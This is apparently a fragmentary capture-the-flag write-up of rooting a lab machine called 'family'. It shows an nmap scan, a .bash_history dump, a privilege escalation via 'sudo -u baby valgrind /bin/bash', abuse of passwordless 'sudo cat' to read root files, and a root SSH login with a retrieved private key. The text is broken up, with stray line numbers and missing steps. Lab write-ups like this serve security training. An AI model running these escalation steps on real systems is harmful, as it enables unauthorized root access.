┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.112.12 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-1310:41 CST Nmap scan report for 192.168.112.12 (192.168.112.12) Host is up (0.0024s latency). Not shown:998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 20480d:4e:fd:57:05:8f:d0:d6:1d:67:5d:6d:4e:b5:c9:fc (RSA) | 256 d4:98:fb:a7:94:bd:0c:c6:a8:60:5b:bc:b9:c7:f4:51 (ECDSA) |_ 256 fa:34:3a:25:74:40:99:fc:4f:60:be:db:7e:7f:93:be (ED25519) 80/tcp open http Apache httpd 2.4.38 |_http-title: Index of / | http-ls: Volume / | SIZE TIME FILENAME | -2020-02-0607:33 wordpress/ |_ |_http-server-header: Apache/2.4.38 (Debian) MAC Address:06:66:FC:0B:B7:E2 (Unknown) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15-5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2-7.5 (Linux 5.6.3) Network Distance:1 hop Service Info:Host:127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 12.38 ms 192.168.112.12 (192.168.112.12)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in12.44 seconds
www-data@family:/var/www$ cat .bash_history export TERM=xterm clear cd /home ls cd baby cd mother cd father clear find / -group www-data -type f 2>/dev/null | grep -v /var/www find / -group www-data -type f 2>/dev/null | grep -v -E "/var/www|proc" cat /usr/share/perl/5.28.1/perso.txt ls -l /usr/share/perl/5.28.1/perso.txt su - father export TERM=xterm clear sudo -l
mother@family:/usr/bin$ sudo -u baby /usr/bin/valgrind /bin/bash ==1324==Memcheck, a memory error detector ==1324==Copyright (C) 2002-2017, and GNUGPL'd, by JulianSeward et al. ==1324==UsingValgrind-3.14.0 and LibVEX; rerun with -h for copyright info ==1324==Command: /bin/bash ==1324== baby@family:/usr/bin$
baby
1 2 3 4 5 6
baby@family:/usr/bin$ sudo -l MatchingDefaults entries for baby on family: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User baby may run the following commands on family: (ALL : ALL) NOPASSWD: /usr/bin/cat
发现baby可以直接读取任意文件了 先尝试读取flag,但是发现没有这个文件
1 2
baby@family:/usr/bin$ sudo /usr/bin/cat /root/*.txt /usr/bin/cat:'/root/*.txt': No such file or directory
┌──(root㉿kakeru)-[~/tmp] └─# chmod 600 id_rsa ┌──(root㉿kakeru)-[~/tmp] └─# ssh root@192.168.112.12 -i id_rsa The authenticity of host '192.168.112.12 (192.168.112.12)' can't be established. ED25519 key fingerprint is SHA256:c8APAkc6cpobBp5TlsyZ0NGBR6ZK9zbWY5binXumQhU. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.112.12' (ED25519) to the list of known hosts.